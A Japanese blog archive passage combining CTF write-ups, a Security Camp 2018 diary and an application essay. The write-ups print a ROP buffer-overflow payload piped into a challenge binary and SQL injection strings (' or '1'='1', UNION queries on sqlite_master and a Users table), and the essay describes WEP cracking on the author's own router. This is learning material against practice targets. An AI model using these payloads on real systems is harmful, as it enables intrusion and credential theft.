最後に,4を起こすことを考えます.まずは,サブルーチンwin_function2からret命令により移動するリターンアドレスをflagの先頭アドレス0x0804862Bに書き換えます.ret命令でpopされてeipに入るのは"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba"のうち"A"*4の部分なので,ここを"\x2b\x86\x04\x08"にします.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba")' | ./rop

また,今回は引数として0xDEADBAADを与える必要があります.しかし,先ほどと同様に,"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"の"\x2b"が入るアドレスより8大きいアドレスに0xDEADBAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

したがって,問題サーバ上で

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

を打ち込めば,フラグを表示してくれます.
f:id:verliezer93764:20181026183205j:plain

CyberRebeatCTF 少しだけwrite-up

おそらくすでに超サイヤ人の方々が色々書かれていらっしゃるので,私は2問だけwrite-upを書きます...
レベル自体は自分にとって難しすぎることなく,楽しかったです!

SimpleBinary

64bitELFで,実行しても何も起こりません.ということで,IDAを使います.まず目を引くのは,26バイトの領域に即値を入れており,その26という長さもある領域に書き込んでいるということです.そしてその後,esiにバイト数の26(=0x1B),rdiに26バイトの最初のアドレスを格納し,sub_400546に渡します.
f:id:verliezer93764:20180909190907j:plain
sub_400546では,さらにvar_70からvar_Cまでの26バイトにかけて即値を代入しています.そして,その後は26回のループに入ります.したがって,このループではmainで定義した,あるいはsub_400546で定義した26バイトのバイト列について1バイトずつ何かしらの操作を行っていくと考えました.
f:id:verliezer93764:20180909191351j:plain
f:id:verliezer93764:20180909191608j:plain
あとはループの中でどのような操作が行われているか考えます.けっこう時間がかかってしまい,コメントでぐっちゃぐちゃになってしまいましたが,落ち着いて一行ずつ読んでいったところ,ここでは以下のpythonスクリプトと同様なことを行っていることがわかりました.Cで書いたほうが正確にできたなあ,と反省しています.なお,ループの最後でrdxの指すアドレスに操作結果の値を代入しているため,これが答えにつながると考え,表示を行っています.

import sys

input_26_chars =   [0x7B,0x69,0x43,0x43,0x20,0x2E,0x73,0x69,
                    0x74,0x68,0x20,0x74,0x27,0x75,0x20,0x46,
                    0x6E,0x7D,0x64,0x49,0x6D,0x54,0x67,0x61,
                    0x52,0x68]

plus_26_data = [0x03,0x0B,0x00,0x16,0x0F,0x16,0x13,0x0C,
                0x07,0x0B,0x0E,0x17,0x0F,0x17,0x01,0x14,
                0x14,0x01,0x11,0x14,0x09,0x03,0x01,0x0E,
                0x01,0x16]

for i in range(26):
    data1 = input_26_chars[i]
    tmp_char = data1

    data2 = plus_26_data[i]
    data3 = input_26_chars[data2]

    input_26_chars[i] = data3

    data4 = plus_26_data[i]
    input_26_chars[data4] = tmp_char

for i in range(26):
    sys.stdout.write("%s" % chr(input_26_chars[i]))

実行結果:CRCTF{It's a humid night.}

Uploader

まーたアップロードサイトの脆弱性を突く問題か…と思ったらSQLiの問題.
まずは定番,シングルクォーテーションマークをフォームにぶち込んでいく.するとFilename: のところでエラーが出ます.入力したfilenameをsql文で問い合わせている,といったところでしょう.
f:id:verliezer93764:20180909190716j:plain
というわけで,みんな大好き「' or '1'='1';--」を打ち込みます.すると,先ほど見えなかったユーザ"harada"によるzipファイル"secret.zip"が現れます.
f:id:verliezer93764:20180909222635j:plain
早速ダウンロードし,中にflag.txtがあることが確認されましたが,解凍するにはパスワードが必要です.そこで,サイトから更なる情報を求めます.具体的には,UserIDとPasswordを入れて,ログインするためのボタンがあるので,"harada"のIDとPassを取得し,"harada"のアカウントでログインすることを目指します.先ほどのエラー表示からsqlite3を使っていることが判明したので,googleでsqlite3のsqliについて調べます.しいて言えば,チートシートを調べます.
下記がいいでしょう.
github.com
まずは使用されているテーブルの名称がわからないと何もできないので,上の情報から「SELECT name FROM sqlite_master WHERE type='table'」または「SELECT sql FROM sqlite_master WHERE type='table'」を用いて,Union-based SQLiを行います.ちなみに,後者を行うとカラムの名称までわかるので,後者を使用します.ちなみに,今回の表ではカラムはID,FileName,Published,UploadUserの4つであることに注意し,「' union SELECT sql,1,1,1 FROM sqlite_master WHERE type='table';--」などと入力します.以下のような結果が返ってきます.
f:id:verliezer93764:20180909224947j:plain
したがって,最後に「' union select userid,password,1,1 from Users;--」を打ち込めばuserIDとPasswordがわかります.
f:id:verliezer93764:20180909225456j:plain
useridに"harada",Passwordに"seishin0129"を打ち込むと次のページが表示されます.
f:id:verliezer93764:20180909225716j:plain
この"554587c5adc54a2a2e6f"によってsecret.zipを解凍できます.
f:id:verliezer93764:20180909230130j:plain
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

セキュリティキャンプ2018参加日記

[!]Warning:
講義内容等の流出の制限がありますので,公式から得られる情報以上の講義情報(とくに技術情報)は記述しません.ご了承ください.

キャン当日まで

・事前課題
僕は,次の講義を受講しました.
A1~3「インシデントレスポンスで攻撃者を追いかけろ」
A4「IN-DEPTH STATIC MALWARE ANALYSIS」
E5「Linuxカーネル脆弱性入門 」
D6「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」
E7「シリアル通信から学ぶBadUSB自作演習 」
いわゆる低レイヤや組み込み系に触れるのは初めてでしたが,とても興味があったので受講しました.
これらのうち,A1~3とA4とD6には事前課題がありました.どれも講義をスムーズに受けるためには重要だったので,大学ではテスト勉強で非常に忙しい時期だと思いますが,早めにやっておくことを強くお勧めします.(GPAをそれまでに稼いでおくとよい?)

・名刺
何をかけばよいのかわからず,総計2日ほどかかってしまいました.Twitterアイコンや,所属を書いておけば十分な気はしましたね.もちろんTwitterをやっておくとアイコン等であの人だと識別したりして便利ですが,気さくな方だったりするとTwitterアカウントをお持ちでなくとも覚えることができたりするので,このためだけにアカウントを作る必要もないかなと思います.
f:id:verliezer93764:20180808103239j:plain

1日目

・xwaveまでの道で迷わないようにご注意ください!
最寄りの北府中駅で降りましたが,本物の府中刑務所方面へ行ったり駅からの出口を間違えたりしたので,スマホGPSをONにしておくといいです.ビル群のある方へ向かってください.

・暑い
当日はクソ暑かったです.タオルを忘れないでください!!受付時間より早く到着したので,近くのケーズで涼みました.

・受付~昼食
受付開始時間の10分後あたりには受付に長蛇の列ができます.そのうちに近くの方と名刺交換をしたほうがいいです.受付を済ませると,昼食タイムです.昼食は緊張した感じでしたが,チューターの方が話題づくりをしてくださったおかげで打ち解けました.同じテーブルの方と名刺交換をしました.また,偶然Aトラックのプロデューサーの方と同席していたので,けっこう会話しました.
f:id:verliezer93764:20180814122922j:plain

・名刺交換タイム?
参加者同士の名刺交換のための時間は設けられていませんが,昼食を食べてから大講習室でおこなわれる開会式までは1時間ほどあり,日程を通してあまり関わらなさそうな参加者の方とも名刺交換や会話ができます.この時間は積極的に交流したほうがいいです!!

・開会式
えらい方々からのお話を聞きます.ところで開始早々貸与パソコンや,色んな企業さんのグッズ,講義用資料が机の上に置いてあり,持って帰らなければならないので,荷物がオーバーフローします.なるべく空きのあるリュックサックを持ってきましょう!!

・全体講義「セキュリティ基礎」
自分があまり考えたことのない面を深堀りした講義で,またグループで考察したりしました.周囲の方の発想が面白く,楽しめました!

・特別講演(1)「自由なエンジニアとは何か ~OSCを全国各地で150回以上やって分かったこと~」
OSCなどの運営や,運営しているときに感じたことについての講義でした.行動力や,運営にあたって生ずる課題やそれに対してどうするか考えていく姿勢を見習いたいなと思いました.

・特別講演(2)「ハッカーは法律を破るのか」
セーフなのかアウトなのか,微妙に感じられる事例がいくつか提示され,考察したりしました.独房に入るくらいなら死んだほうがましなので今後の勉強方法には厳重に注意していきたいです!!!

・夕食
夕食後にスイーツ会みたいなのがあり,初日にもかかわらずみんな楽しく交流しました!
f:id:verliezer93764:20180814182111j:plain

・LT会
自分にとっては難しい話が多く,強い人ってこんなことしてるんだなあ…と力の差を感じました.僕もあんなに打ち込めるようなことを探そうと思います.

・グループワーク
今までの参加者の方の参加記をみておびえていたのですが,今年は各自がキャンプ後にどのようなことをしていくか具体的に考えて最終日に提出するという形であり,徹夜の心配はなくなりました.また後半ではチュータや講師の方々と交流し,名刺交換をしたり,悩みを相談したりしました.

・部屋に帰る
部屋の中はこんな感じです(ただしこれは最終日の朝に撮影).カーテンを閉めるとちょっと暗いです.ところで,バスタオルはユニットバスの部屋の天井に近いところに置かれているので注意してください.20分くらい探しました.
f:id:verliezer93764:20180818080021j:plain
テレビでDBZのアルティメット悟飯対悪ブウの回をやっていたので少し見て,寝たのは24時すぎです.
一応夜景です.
f:id:verliezer93764:20180815225959j:plain

2日目

・起床&朝食
毎朝5時40分くらいに起き,6時40分くらいに朝食を食べました.バイキング形式で,最終日までメニューはほとんど同じです.温泉卵の卵かけご飯を毎日たべました.うまかったです.また,この日から毎日ある参加者の方と一緒に朝食を食べました.
f:id:verliezer93764:20180815064845j:plain

・A1~3「インシデントレスポンスで攻撃者を追いかけろ」
7週間にわたる事前課題で当日必要となる解析技術を学び,当日はある企業のPC・ネットワークに攻撃が入ったとの想定のもと,そのおよそ1か月分のデータが入った各PCのディスクイメージデータが渡され,CTF形式によって,インシデントレスポンスの手順にのっとりながら問題を解いていきました.事前課題をけっこうやってきましたが,いざディスクイメージだけを渡されるとまず何をすればよいか,どのツールを用いればよいか,どこにどんなデータが入っているかで迷いました.休憩をはさみながらA1A2でCTFが行われ,夕食後のA3には解説が行われ,それまでの結果を用いてどのような対策をとればこのインシデントは防げたのか検討しました.解説を聞いていると,答えを探す方法が事前学習のまんまであったり,また調査結果が他の解析結果にリンクしていたことがわかったりと,実際の業務にあたるにはもっともっと経験が必要だなと痛感したので,これから復習していきたいなと思いました.けっこう落ち込みました…

3日目

・朝食
この日から朝食待ち勢になり,6:25頃にレストランに着くようにしました.人間の睡眠の深浅のサイクルは90分というので,4日目~最終日を除いておよそ4時間半睡眠をしています.

・A4「IN-DEPTH STATIC MALWARE ANALYSIS」
事前課題では実質的にマルウェアのすべてを解析できるという静的解析を始めるための基礎や効率的にコードを読む方法を学習し,本番ではマルウェアの逆アセンブルコードを効率的に読んでみてその機能を明らかにしたり,静的解析の持つ課題を学びました.また,静的解析にかかわらず解析をする際の注意点や,マルウェアのトレンドなどについても学びました.僕は今まで大きいプログラムの逆アセンブルコードを読むことができなかったので,素早く読めるようになったときはかなり感動しました.そして今まで読んできたコードは簡単なもので,実際のマルウェアに使用されているコードに凝らされている工夫を学習したときは実力的に大きい壁を感じました.ところでin-depthは「徹底的な(に)」といった意味合いらしいです.

・E5「Linuxカーネル脆弱性入門」
カーネルについてほぼ何も知らない状態で受講しましたが,講義はカーネルとは何かというところから始まったので無理なく受講できました.カーネルソースコードを少し見たり,機能と仕組みが解説されたのち,脆弱性の紹介やそれを突くことを体験しました.後半は自分の理解が追い付かなかったのですが,講義後になってしまったもののなんとか実際に脆弱性を突くことに成功したので,これからも少しずつ触れていきたいなと思いました!

・会員企業のお仕事紹介(1回目)
3,4日目にはセキュリティキャンプを支えてくださる企業の方々による30分*2回*2日の「お仕事紹介」がありました.仕事ではどんなことをしているのか,やりがいは何か,子会社の場合は親会社との関係を聞けたりして新鮮でした.

・グループワーク(2回目)
チュータ,講師の方と交流しました.今まで話したことのなかったインフラ屋の方々ともお話させていただきましたが,どの方も使命感や不安からというよりは楽しかったからその方の分野の勉強をしているという方が多く,特にGMの上野さんはとても楽しそうで,自分もそうなりたいなと強く思いました.

・ホームルーム(1回目)
同じトラックのメンバーと交流を深めるために今年からできた時間らしく,控えめに言って神様な時間でした!!グループワーク終了後にトラック別に部屋に集まり,おのおののことをします.Aトラックでは今回は自己紹介と,名刺交換を含めた参加者やチュータの方々そして講師の方々と交流をしました.僕はA1~3で思ったような成果がでなくて悲しかったり,僕はこのまま就職までに平和に貢献できる実力が身につくのかととても不安なことがあったりしたので相談しましたが,講師の方々も若い時からずっとセキュリティについて学んでいたわけではなかったり,職を転々としていて今に行きついているようなこともあり,人生って予想以上になんだかなるものなんだなと感じました.また,インシデントレスポンスの一連の業務をどう勉強するかも教えていただきました.

4日目

・D6「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」
組込みシステムについて触れるのは初めてでしたが,無理なく受講できました.事前課題ではオープンソースの組み込み向けリアルタイムOSなどを搭載する機器をサンプルコードによって動かしたり,組み込み機器の基礎や動作のしくみを解説する資料を読んだりしました(僕にとっては初めての知識が多く読み終わりませんでした).こちらの操作通りに動いてくれたときはうれしかったです!
当日は,リアルタイムOS等について復習を行った後,7分*2回の競技会を行いました.内容は,まずいくつかのグループにわかれ,自分のグループの機器をWebブラウザから操作し,決められた目的を達成します.または,相手の機器(やネットワーク全体)を攻撃し,相手が目的を達成できないように妨害します.僕のチームは,ソースコードのビルドの時にソースの変更内容が反映されないという某の不具合のためにあえなく撃沈して悲しい思いをしました.開始数秒でほとんどのチームの機器が動かない状態になり,攻撃の恐ろしさを感じました!!
この講義が終わるまでに組み込み機器の動作のしくみやプログラミングについて体験できたのはほんの一部だと思うので,機器を買って今後も続けていきたいなと思います!!

・E7「シリアル通信から学ぶBadUSB自作演習」
USBポートに刺すだけでキーボードの入力を行わせるというBadUSBを組み立てる講義です.はんだ付け以外は自分でできるものでした.BadUSBが完成したのち,参加者それぞれが自分のコードをBadUSBに書き込み,最後に発表会をしました.僕はある攻撃を行うものを作りましたが,Windowsをシャットダウンして場合によってはWindowsUpdateをさせるBadUSBや,逆にGoodなことをするBadUSBを作った方がいたりと,ここでも参加者の方々の発想はいいなと思いました.

・夕食
最後の夕食は決まっており,なかなか豪華だったかなと思います(ところでなぜ油も敷いてないところで焼き肉をさせたのだろうか).隣の方がジュニアの方で,お話させていただくと僕なんかよりずっとしっかりしてる!とおもいました.
f:id:verliezer93764:20180817175814j:plain

・グループワーク(3回目)
具体的に何をしていくかがまとまってきて,それについてどうかをチュータ,講師,会員企業の方々に相談しました.お仕事紹介のときには受けなかったある企業の方にメールでの相談やインターンに誘われたりと優しくさせていただいたので,後程連絡させていただきます!m(__)m

・グッズ争奪戦
毎年恒例の,協賛の企業などによる本やグッズ等の配布がありました.かなり目の前でサイン入り熱血本が取られてしまい悔しかったですが,GMの上野さんの本をいただき,その場でサインをいただきました.また,その際には激励のことばをかけてくださり本当にありがたかったです!パラパラ読んでみましたがかなり実務で役立ちそうなことが書いてあり,よかったと思いました.
f:id:verliezer93764:20180820121657j:plain
撮り忘れましたがさくらインターネットさんのチケットも含まれています.

・集まり
ある方がTwitter上でCTFなどをするコミュニティを作るので○○に来てほしいと発信されていたので,そこに行きました.最終的には二十人ほど集まり,まずはその方針を決めましたがその話はすぐに終わり,雑談タイムになりました.この雑談タイムが(まさに)時間がたつのを忘れるような楽しさでした.これをもっとはやくやりたかった,,と心の底から思いました.寝たのは2時ごろで,荷物をまとめたり,貸与PCから自分のPCに(移してもよい)データを写していました.そのためにUSBケーブルなどをキャンプに持参するといいですね!

最終日

・朝食
3時間睡眠で起きられました.普段は6:30から朝食を食べる勢力は10名ほどなんですが,この日は6名ほどでした.毎日朝食をともに食べた方とはこれでさらばか…と少し寂しくなりました.それからは部屋の整理と,上にあげたような部屋の撮影をしました.

・チェックアウト
8:00から8:20までにチェックアウトをします.あまり時間がないので荷物の整理は前日までにしたほうがいいです.

・グループワーク(最終日)
1時間ほどで,これからやっていくことを書きました.僕は今は何をやっているとかない(それを見つけるのがここに来た目的だったりする)ので他の方と比べ曖昧かなとは思いましたが,思っていることを書きました.

・昼食
これで最後か,と寂しい思いでした.特に前日の雑談がとても楽しく..昼食が終わったあと,ある方とエレベーターで止まらずに10階から1階あで降りられるかチャレンジをしたり,エレベーターのアルゴリズムを考えたりしました.
f:id:verliezer93764:20180818114633j:plain

・閉会式
各トラック代表者の方々が修了証と激励状を受け取ったり,色んな方からのお話があったのち,参加者全員に修了証と激励状が配られました.ああもう終わってしまうのか,と思いました.
f:id:verliezer93764:20180819092025j:plain

・帰り
仲が良かった方と別れたときは寂しかったですが,SECCONで会おうと(私が勝手に)約束しました.

おまけ

下の画像は初日に配られたデスクファンさんです.体積が大きいしうるさいしで扱いに苦労しました…
f:id:verliezer93764:20180819163412j:plain

最後に

セキュリティキャンプを通して,残念ながら他の方々のように何年も通じて具体的にすることは決めることができませんでした.しかしこのキャンプで最も心に残ったのは,みんな純粋に好きなことをしてプロになっているということと,人生はこれからなんとかなるということです.今後はとりあえず支援士試験と情報工学実験をひねりつぶし,全てのCTFのWrite-upを見たり,libcを読んだり,Linuxカーネルのソースを読んだり,組み込み機器で遊んだり,Micro Hardeningにも参加したいなと思います.あ,もちろん機械学習も頑張っていきます!また,4日目に作ったコミュニティでは今後も交流を続け,高めあっていきたいと思いました!
キャンプにはバグで参加することになってしまいましたが,結果的にはものすごい刺激を受けることができとてもよかったです!!

セキュリティキャンプ2018応募課題晒し

まえがき

セキュリティキャンプ全国2018の選考を通過したので,応募課題を晒そうと思います.一応注記しておきますが,私はプログラミングは大学に入ってから学び始め,低レベル開発経験などもゼロ.セキュリティ関係を学び始めたのは去年12月で,プロでもなんでもありません.そんなことはどうでもよく,今回は”プロじゃなくても受かる可能性はある”とのメッセージを込めて,恥ずかしながら応募課題を晒すことにしました.
応募したきっかけは,今年度が始まり,B2ながら大学の研究室にお邪魔させていただいたときの先輩方(プロ)のお言葉です.僕も(おそらく例に違わず)応募課題の問題の難易度や,晒された応募課題の質と量に圧倒され,当初は来年受けるつもりでいました.しかし,先輩方は「まあ受けてみなよ」「受かるでしょ」と背中を押してくださいました.応募課題に受かることはスタートラインでしかないのですが,感謝してもしきれません!m(_ _)m

選択したトラックについて

トラックA(脆弱性マルウェア解析トラック)を選択しました.なぜなら僕にとってはこの応募課題が一番易しい(あくまで比較的に)と思ったからです.具体的には,他のトラックの課題は「~の課題を述べよ」のように抽象的であり,ある程度経験がないと論述は厳しいと思った一方,トラックAの問題は割りと具体的で,経験は要求されず,書きやすく感じました.

課題晒しにあたって

原文はやや個人情報を含んでいるので,そのような部分は[---REDUCTED---]と書いています.また,かなり支離滅裂な部分があると思います.ご容赦ください!

まずは問題を

#脆弱性・マルウェア解析トラック
設問ひとつあたり4,096文字以内で答えてください。
また正解がある設問については、"正解しているかどうか"より
"正解にたどり着くまでのプロセスや熱意"を重要視しています。
答えにたどり着くまでの試行錯誤や自分なりの工夫等を書いて、精一杯アピールしてください。

##問1
あなたが今まで作ってきたソフトウェアにはどのようなものがありますか?
また、それらはどんな言語やライブラリを使って作ったのか、
どこにこだわって作ったのか、たくさん自慢してください。

##問2
今までに解析したことのあるソフトウェアやハードウェアにはどのようなものがありますか?また、その解析目的や解析方法、工夫した点があればそれらも教えてください。

##問3
Twitterアカウント、Github、ブログ、公開している資料等がありましたら、URL等を記載してください。

##問4
あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可)
またそれらを受講したい理由を教えてください。

##問5
自分が最も技術的に興味を持った脆弱性をひとつ挙げ、技術的詳細(脆弱性の原因、攻略方法、対策方法など)
について分かったことや思ったこと、調査の過程で工夫したこと等を報告してください。
その際、書籍やウェブサイトを調べて分かったことはその情報源を明記し、
自分が独自に気付いたことや思ったことはそれと分かる形で報告してください。
また脆弱性の攻略方法を試す際は、他者に迷惑を掛けないように万全の措置をとってください。

##問6
以下にDebian 8.10(amd64)上で動作するプログラムchal00のmain関数の逆アセンブル結果があります
("objdump -d chal00"の出力結果のうち、main関数の箇所を抜粋しました)。
このプログラムは、コマンドライン引数としてある特定の文字列を指定されたときのみ実行結果が0となり、
それ以外の場合は実行結果が1となります。
この実行結果が0となる特定の文字列を探し、その文字列を得るまでに考えたことや試したこと、
使ったツール、抱いた感想等について詳細に報告してください。
```
00000000004003c0 <main>:
  4003c0:       48 b8 0f 0e 0d 0b 00    movabs $0xc0601000b0d0e0f,%rax
  4003c7:       01 06 0c
  4003ca:       83 ff 02                cmp    $0x2,%edi
  4003cd:       48 89 44 24 f0          mov    %rax,-0x10(%rsp)
  4003d2:       48 b8 04 05 08 0a 02    movabs $0x70903020a080504,%rax
  4003d9:       03 09 07
  4003dc:       48 89 44 24 f8          mov    %rax,-0x8(%rsp)
  4003e1:       b8 01 00 00 00          mov    $0x1,%eax
  4003e6:       75 59                   jne    400441 <main+0x81>
  4003e8:       48 8b 56 08             mov    0x8(%rsi),%rdx
  4003ec:       31 c0                   xor    %eax,%eax
  4003ee:       89 c1                   mov    %eax,%ecx
  4003f0:       48 ff c0                inc    %rax
  4003f3:       80 7c 02 ff 00          cmpb   $0x0,-0x1(%rdx,%rax,1)
  4003f8:       75 f4                   jne    4003ee <main+0x2e>
  4003fa:       83 f9 08                cmp    $0x8,%ecx
  4003fd:       b8 01 00 00 00          mov    $0x1,%eax
  400402:       75 3d                   jne    400441 <main+0x81>
  400404:       48 8b 32                mov    (%rdx),%rsi
  400407:       31 c0                   xor    %eax,%eax
  400409:       30 c9                   xor    %cl,%cl
  40040b:       48 89 f2                mov    %rsi,%rdx
  40040e:       48 d3 ea                shr    %cl,%rdx
  400411:       83 e2 0f                and    $0xf,%edx
  400414:       0f b6 54 14 f0          movzbl -0x10(%rsp,%rdx,1),%edx
  400419:       48 d3 e2                shl    %cl,%rdx
  40041c:       83 c1 04                add    $0x4,%ecx
  40041f:       48 09 d0                or     %rdx,%rax
  400422:       83 f9 40                cmp    $0x40,%ecx
  400425:       75 e4                   jne    40040b <main+0x4b>
  400427:       48 33 05 92 ff ff ff    xor    -0x6e(%rip),%rax        # 4003c0 <main>
  40042e:       48 ba 85 03 0e 67 b3    movabs $0x600967b3670e0385,%rdx
  400435:       67 09 60
  400438:       48 39 d0                cmp    %rdx,%rax
  40043b:       0f 95 c0                setne  %al
  40043e:       0f b6 c0                movzbl %al,%eax
  400441:       c3                      retq
```

##問7
chal01.zipには、USBメモリのディスクイメージusb_disk_modified.img が入っています。
そのイメージファイルをマウントしようとしましたが、エラーが出てマウントできませんでした。
どうやらどこかが壊れているようです。
ファイルシステムの構造を調べ、壊れていると思った全ての箇所を修正し、
マウントツール(*1)でマウントできるようにした後、
ファイルシステム上に存在するPDFファイルを救い出してください。
* (*1)マウントツールの例
    * mount (for linux)
    * hdiutil (for macos)
    * FTK Imager(for Windows)

また、以下の設問の答えとその解き方を、ファイルシステムの調査結果を用いて説明してください。
答えのみの場合は正解とはみなしません。修正箇所が複数ある場合は、全て列挙してください。
1. このイメージの元のファイルシステムの名称は?
2. どのオフセットを何のバイト列に置き換えて直したのか?壊れていると判断した理由は?
3. そのオフセットの位置は何という名称の構造体の何というメンバがあるはずなのか?
4. PDFファイルのハッシュ値をすべてsha256で答えよ。

回答

グレー背景となっている部分が回答です.

  • 問1
①連立方程式計算機
大学ではじめにC言語を習ったので、それを実際に使ってプログラミングに慣れたいと思ったのと、線形代数学の授業や課題で連立方程式を扱うことが多く、私自身ケアレスミスがかなり多いので、自分で解いた問題の連立方程式を使う部分について、きちんと正解しているかを確認するために作った。
基本構造としては、ユーザがテキストファイルに解きたい連立方程式の各未知数の係数を書き込み、そのファイルから係数部分を読み取って、線形代数の講義で習った通り基本変形を行うことでプログラムが解き、たとえば
{A=3
{B=1
というふうにそれぞれの解をコマンドプロンプト上で表示させる。係数入力用テキストファイルには、もしA+2B=3、(-1/8)A-4B+C=0という3元一次連立方程式を解かせたいとすると、以下のように行列に似た形式で入力する。
1 2 0 3
-1/8 -4 1 0
ただし、線形代数の教科書(中高でもそうである)では整数でない解についてはもちろん分数で記載していたので、解は整数または分数で出力させるようにしてある。そのために、少々複雑になってしまったが、プログラムでは入力した係数のすべてを分数に直してから基本変形を行うようにした。
また、式の個数に対し未知数の個数が多ければ、どれかを適当な実数とおかなければならないので、それも実装した。係数行列の行、列数をそれぞれL,R(L<R)とすると、列交換を行わない限り第L+1,L+2,…,Rの未知数を任意の実数とおく。
また、答えが見やすいように表示方法にも次のような工夫をした。
・先頭の係数については、+符号をつけない。
・分数は括弧()でくくり、符号+-は括弧の前に置く。
・未知数を定数と置いた時には、最後に「(ただし、a,b,…は任意の定数)」と表示する。
係数入力ファイルにも、入力失敗を検知するためのしくみを設けた。
・未知数の個数がマクロ定義による制限を超えている。
・数字と、マイナスやスラッシュ以外の文字が入力されている。
・正しく行列形式になっていない。たとえば1行目には9個係数が書かれているのに2行目には8個しか書かれていないなど。
・小数点、スラッシュが1係数あたり2個以上入力されている。
・マイナスが係数の先頭にない。
・EOFの行を除き、まったく入力されていない行がある。
・分数の分母、分子として小数が入力されている。
最近は放置気味であったが、応募を機にまだ腕はないながらもGitHubアカウントを作ったので、今後は複数の連立方程式を一気に解いてくれるようにしたり、計算途中で分母分子が大きくなったときにオーバーフローが起きてまったく違う答えを出力しないように分数から浮動小数点数形式に直して計算したり、解けない問題をもっと探して修正をしたり、入力制限やエラー検出を増やしたりして、クオリティを上げて、後輩に使わせてあげたりしたい。

②自分で脆弱性を持つWebサイトを作り、攻撃と防御を経験する。
昨年12月から、CTFや様々な本、[---REDUCTED---]で攻撃手法やアセンブリ言語を勉強していたものの、セキュリティに関しては初心者である今の状態から、あとたった数年でセキュリティのプロとして新しい技術を瞬時に吸収できるようになったり、ディジタルフォレンジックや脆弱性の検証などができるまでに成長するまでの道筋がどうしてもつかめなかったので、今年4月にセキュリティに詳しい先輩方がいらっしゃるという研究室に訪問させていただき、相談をしたところ、「攻撃の練習をCTFでするだけではなく、実際に脆弱性のあるWebサービスを作ってみて、どうやってWebページが作られているのかだとか、攻撃を防ぐ機構を実際に体験して知ったほうがいいよ」との助言をいただいたので、localhost上で練習用サイトを構築しはじめた。具体的には、色んな脆弱性を持つ、例えばデータベースに登録された名前を入力して、パスワードを確認するなどの簡素なWebページを作って、実際にSQLインジェクションなどが成功するのかを検証している。それをやってみようと思ったときに、どうやってlocalhost上でサーバを立てるのか、どこにhtmlやphpのファイルを置くのかといった初歩的なこともわからず、そしてphpでどのようにMySQLなどのデータベース管理システムに接続するのかも、実際にCTFでSQLインジェクションをやったことがあるにもかかわらず知らなかったのがとても衝撃的だった。少し調べると、xamppという、ApacheやMySQLなどが含まれるlocal環境でのWebサービス開発用ソフトウェアがあったので、それを利用した。今のところ、SQLに関連した脆弱性では「' or '1'='1」などの入力を利用したパスワード認証の突破や、Union-based-SQL-injectionができるページを作った。これからは、htmlspecialchars()関数などによるエスケープを施してみたり、バインド機構を実装して、その防御効果を検証していく。また、XSSについても、クッキーの抜き出しや、UTF-7と認識させてエスケープ処理を回避するような基本的なXSSを試してみたい。また、Pythonでソケットプログラミングを習い始めたので、Time-based-blind-SQL-injectionなどのブラインドSQLインジェクションを試しながら、ソケットプログラミングの練習をしようと思っている。

書いてて苦しかったです.他の応募課題ではみんな自作OSとかコンパイラ作成とか高度なことをやっているので,経験ではまったく及ばないからです.来年受けようと思ったのも,これが理由です.アレを見た方はご存知かと思いますが,僕はプログラミング言語のベストプラクティスさえできていません.ただ,雑魚なりに色々書きました.しかしこんな僕でも受かったということは,他の応募課題がすごすぎて打ちひしがれている方々にも十分チャンスがあるということなのだ!!!!!!!!

  • 問2
これまでに何かを自主的に解析したことはなかったが、2月にNeverLAN CTFというCTFで、hashcatというオープンソースソフトウェアを用いて、WPA2-PSKの4wayハンドシェイクのパケットから辞書攻撃によってパスワードクラックをするという問題があったことを思い出したので、家で10年ほど前から使用しているWi-Fiアクセスポイントの暗号化方式は推奨されるものとなっているか、私でもできるほど簡単にクラックできてしまわないかをこの機会に調べてみることにした。
通信の暗号化方式は、アクセスポイント(親機)に書いてあり、128bitのWEPであった。
WEP暗号化方式は脆弱であり、104bitのWEP鍵については2008年に神戸大と広島大が鍵の解読を瞬時に行えることを発表しており、WEPからWPA/WPA2へと暗号化方式を移行するように推奨している。
今回は、http://ra66itblog.hateblo.jp/entry/2016/05/29/203015を参考に、Kali-linux 2018.1を利用して自宅Wi-Fiアクセスポイントのパスワードの解析を試みた。
まず、iwconfigコマンドを打ち、動作している無線LANインターフェイスの情報を確認した。しかし、次のように表示されてしまった。
eth0     no wireless extensions.
lo       no wireless extensions.
この表示について調べてみたところ、原因は、私のPCのKali LinuxはVirtualbox仮想化ソフトを利用して、ホストOSのWindows 10 proにゲストOSとしてインストールされているが、ネットワークアダプタの設定がブリッジ接続であるために、無線LANアダプタが認識されていないからであるということがわかった。
そこで、この表示について検索してみると、compat-wireless-2010-06-26というドライバを用いるとwlan0インターフェイスを作成できることが分かった。それをダウンロードしたのち、当該ディレクトリ内でmake loadコマンドを打つと、無線LANインターフェイスとしてwlan0が認識された。
wlan0が認識されたところで、次にairmon-ng start wlan0と打ち、解析に用いるパケットを収集できるようにwlan0をモニタモードに変更した。iwconfigコマンドで、wlan0についてMode:Monitorとなっており、モニタモードになっていることが確認できた。また、無線LANインタフェース名がwlan0monと変化した。
次に、airodump-ng wlan0monコマンドによって、近くにあるアクセスポイントを探し、それぞれのBSSIDや暗号化方式、通信の強度などを表示させようとした。ここで、本来なら自宅アクセスポイントを含む最低1つのアクセスポイントの情報が表示されるはずであったが、何も表示されなかった。
同じ症状にあっている人はいないかgoogle検索をすると、動画(https://www.youtube.com/watch?v=jpzZe7PO8TY)を見つけた。そのコメント欄にはいくつかの対処法が書かれていた。
(1)VirtualBoxの機能拡張パッケージをダウンロードし、USB規格の設定をUSB2.0またはUSB3.0に変更する。
